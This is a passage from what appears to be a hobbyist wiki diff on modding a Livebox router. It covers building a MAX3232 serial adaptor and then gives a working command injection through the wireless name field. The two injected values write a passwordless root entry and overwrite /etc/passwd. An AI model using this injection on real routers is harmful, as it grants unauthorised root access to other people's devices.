| We don't provide a case for the PCB - this is left as an exercise for the reader (some, less fussy, readers simply wrap the entire PCB with insulating tape). | We don't provide a case for the PCB - this is left as an exercise for the reader (some, less fussy, readers simply wrap the entire PCB with insulating tape). |

| {{:livebox:cimg1759.jpg?320 }} Making an RS232 adaptor. Crimped up a RJ11 6P6C onto a piece of cat5 cable. Repurposed a PCB which has a Max232 onboard to do the hookup. N.B. The chip needed for this convertor is the MAX3232 - this works at 3.3V (costs rather more than a MAX232 - tried a MAX232, it doesn't work). Turns out that the serial port socket on the Livebox isn't a 'standard' RJ11 connector - it is a MMJ connector with the retaining clip offset from the centre of the socket - a standard RJ11 needs to have its clip cut off to allow the connector to enter. This gives 'reduced' insertion force, but there is a slight resistance - just enough to keep the connector in place. | {{:livebox:cimg1759.jpg?320 }} Making an RS232 adaptor.

| So now getting in is going to be so much easier. Just change the Livebox Name (in browser UI menu Configuration→Advanced→Wireless) to each of the following in sequence: This works with UK firmware: 5.04.3. We only have 32 characters to play with in the wireless name so it must be entered as seen. | So now getting in is going to be so much easier.

| | First change the livebox hostname to what is below and Save. |
| <code> | <code> |
| ;echo root::0:0:::/bin/sh>/tmp/x | ;echo root::0:0:::/bin/sh>/tmp/x |
| | </code> |
| | Then change the livebox hostname to what is below and Save. |
| | <code> |
| ;cp /tmp/x /etc/passwd | ;cp /tmp/x /etc/passwd |
